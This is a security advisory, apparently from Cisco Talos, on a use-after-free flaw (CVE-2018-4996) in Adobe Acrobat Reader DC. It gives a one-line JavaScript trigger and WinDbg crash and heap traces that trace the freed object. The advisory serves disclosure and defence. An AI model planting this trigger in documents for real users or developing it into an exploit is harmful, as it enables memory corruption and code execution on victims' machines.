CVE-2018-4996
A specific Javascript script embedded in a PDF file can lead to a pointer to previously freed object to be reused when opening a PDF document in Adobe Acrobat Reader DC 2018.009.20044. With careful memory manipulation, this can potentially lead to sensitive memory disclosure or arbitrary code execution. In order to trigger this vulnerability, the victim would need to open the malicious file or access a malicious web page.
Adobe Acrobat Reader DC 2018.009.20044
7.1 - CVSS:3.0/AV:N/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H
CWE-416: Use After Free
Adobe Acrobat Reader is the most popular and most feature-rich PDF reader. It has a big user base, is usually a default PDF reader on systems and integrates into web browsers as a plugin for rendering PDFs. As such, tricking a user into visiting a malicious web page or sending a specially crafted email attachment can be enough to trigger this vulnerability. Adobe Acrobat Reader DC supports embedded Javascript scripts in the PDF to allow for interactive PDF forms. This give the potential attacker the ability to precisely control memory layout and poses additional attack surface. When executing a following piece of Javascript in a suitable PDF document, a Use-After-Free condition can be triggered:
try{this.Net.Discovery.queryServices( "", {} ); }catch(e){app.alert(e);}
With page heap enabled, this leads to a crash:
eax=17a6acb8 ebx=29464fe0 ecx=29464fe0 edx=771f6c74 esi=2a064fd8 edi=2a064fd0
eip=520e2961 esp=0031f01c ebp=0031f02c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
Annots!PlugInMain+0x9ea60:
520e2961 ff7318 push dword ptr [ebx+18h] ds:0023:29464ff8=????????
0:000>
The memory pointed to by ebx
is freed an invalid, leading to a crash.
The method Net.Discovery.queryServices
requires privileges, and by default it would be blocked by security permissions. But if the source of the document is trusted, it will execute without problems and lead to a crash. In order to trigger a crash, the first argument needs to be an invalid service name. An empty string suffices.
If we track back the allocations, we can see that pointer in ebx
is actually used as this
in previous function calls. The pointer in ebx
actually comes from an array of size 0x30 allocated at Annots!PlugInMain+0x4c01
:
0:000> !heap -p -a eax
address 292c2fd0 found in
_DPH_HEAP_ROOT @ 191000
in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize)
292215b0: 292c2fd0 30 - 292c2000 2000
6b258e89 verifier!AVrfDebugPageHeapAllocate+0x00000229
77276206 ntdll!RtlDebugAllocateHeap+0x00000030
7723a127 ntdll!RtlpAllocateHeap+0x000000c4
77205950 ntdll!RtlAllocateHeap+0x0000023a
62f8ed43 MSVCR120!malloc+0x00000049
55848b02 Annots!PlugInMain+0x00004c01
55848ab1 Annots!PlugInMain+0x00004bb0
55a4ba1b Annots!PlugInMain+0x00207b1a
558e1e29 Annots!PlugInMain+0x0009df28
558e2308 Annots!PlugInMain+0x0009e407
56b4267d EScript!mozilla::HashBytes+0x0004201b
56b275b6 EScript!mozilla::HashBytes+0x00026f54
56b217c2 EScript!mozilla::HashBytes+0x00021160
56b205f0 EScript!mozilla::HashBytes+0x0001ff8e
56b204fb EScript!mozilla::HashBytes+0x0001fe99
56b20442 EScript!mozilla::HashBytes+0x0001fde0
56b09e18 EScript!mozilla::HashBytes+0x000097b6
56b48697 EScript!mozilla::HashBytes+0x00048035
56b4841a EScript!mozilla::HashBytes+0x00047db8
56b47e8d EScript!mozilla::HashBytes+0x0004782b
56b46d7f EScript!mozilla::HashBytes+0x0004671d
56bb622c EScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0x0005f52d
6023b42f AcroRd32!AIDE::PixelPartInfo::operator=+0x000e3aaf
60179c7d AcroRd32!AIDE::PixelPartInfo::operator=+0x000222fd
601763b1 AcroRd32!AIDE::PixelPartInfo::operator=+0x0001ea31
5ffcd185 AcroRd32!AX_PDXlateToHostEx+0x00159618
5ffcd683 AcroRd32!AX_PDXlateToHostEx+0x00159b16
601799da AcroRd32!AIDE::PixelPartInfo::operator=+0x0002205a
5fc6426f AcroRd32!PDAlternatesGetCosObj+0x0001d51f
5fc2b14b AcroRd32!CTJPEGWriter::CTJPEGWriter+0x000b9c1b
5fba268b AcroRd32!CTJPEGWriter::CTJPEGWriter+0x0003115b
5fba1761 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x00030231
Setting a write access breakpoint on the dword where the final dereferenced pointer is stored reveals where it comes from:
0:000> ba w 4 292c2ffc
0:000> dd 292c2ffc
0:000> g
Breakpoint 6 hit
eax=29d26fe0 ebx=29d26fe0 ecx=55a494c0 edx=771f6c74 esi=28a2cff8 edi=292c2fd0
eip=55a49408 esp=0018c9e4 ebp=0018ca0c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
Annots!PlugInMain+0x205507:
55a49408 e86941e0ff call Annots!PlugInMain+0x9675 (5584d576)
0:000> dd 292c2ffc
292c2ffc 29d26fe0 ???????? ???????? ????????
0:000> !heap -p -a 29d26fe0
address 29d26fe0 found in
_DPH_HEAP_ROOT @ 191000
in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize)
2a3221d4: 29d26fe0 1c - 29d26000 2000
6b258e89 verifier!AVrfDebugPageHeapAllocate+0x00000229
77276206 ntdll!RtlDebugAllocateHeap+0x00000030
7723a127 ntdll!RtlpAllocateHeap+0x000000c4
77205950 ntdll!RtlAllocateHeap+0x0000023a
62f8ed43 MSVCR120!malloc+0x00000049
55848b02 Annots!PlugInMain+0x00004c01
55848ab1 Annots!PlugInMain+0x00004bb0
558e22e7 Annots!PlugInMain+0x0009e3e6
56b4267d EScript!mozilla::HashBytes+0x0004201b
56b275b6 EScript!mozilla::HashBytes+0x00026f54
56b217c2 EScript!mozilla::HashBytes+0x00021160
56b205f0 EScript!mozilla::HashBytes+0x0001ff8e
56b204fb EScript!mozilla::HashBytes+0x0001fe99
56b20442 EScript!mozilla::HashBytes+0x0001fde0
56b09e18 EScript!mozilla::HashBytes+0x000097b6
56b48697 EScript!mozilla::HashBytes+0x00048035
56b4841a EScript!mozilla::HashBytes+0x00047db8
56b47e8d EScript!mozilla::HashBytes+0x0004782b
56b46d7f EScript!mozilla::HashBytes+0x0004671d
56bb622c EScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0x0005f52d
6023b42f AcroRd32!AIDE::PixelPartInfo::operator=+0x000e3aaf
60179c7d AcroRd32!AIDE::PixelPartInfo::operator=+0x000222fd
601763b1 AcroRd32!AIDE::PixelPartInfo::operator=+0x0001ea31
5ffcd185 AcroRd32!AX_PDXlateToHostEx+0x00159618
5ffcd683 AcroRd32!AX_PDXlateToHostEx+0x00159b16
601799da AcroRd32!AIDE::PixelPartInfo::operator=+0x0002205a
5fc6426f AcroRd32!PDAlternatesGetCosObj+0x0001d51f
5fc2b14b AcroRd32!CTJPEGWriter::CTJPEGWriter+0x000b9c1b
5fba268b AcroRd32!CTJPEGWriter::CTJPEGWriter+0x0003115b
5fba1761 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x00030231
5fb860d4 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x00014ba4
5fb85688 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x00014158
This 0x1c chunk of memory is subsequently freed but is later reused resulting in a crash:
(c20.5e8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=17d2acb8 ebx=29d26fe0 ecx=29d26fe0 edx=771f6c74 esi=292c2fd8 edi=292c2fd0
eip=558e2961 esp=0018eee8 ebp=0018eef8 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
Annots!PlugInMain+0x9ea60:
558e2961 ff7318 push dword ptr [ebx+18h] ds:0023:29d26ff8=????????
0:000> dd ebx
29d26fe0 ???????? ???????? ???????? ????????
29d26ff0 ???????? ???????? ???????? ????????
29d27000 ???????? ???????? ???????? ????????
29d27010 ???????? ???????? ???????? ????????
29d27020 ???????? ???????? ???????? ????????
29d27030 ???????? ???????? ???????? ????????
29d27040 ???????? ???????? ???????? ????????
29d27050 ???????? ???????? ???????? ????????
With page heap disabled, this stale pointer dereference will usually succeed and result in further memory corruption. With proper memory layout manipulation, it could be abused to achieve arbitrary code execution.
Do note that in order for the PoC to trigger this memory corruption, the PoC file needs to be added to trusted locations list in “Security(Enhanced)” in preferences.
2018-01-23 - Vendor Disclosure
2018-05-15 - Public Release
Discovered by Aleksandar Nikolic of Cisco Talos.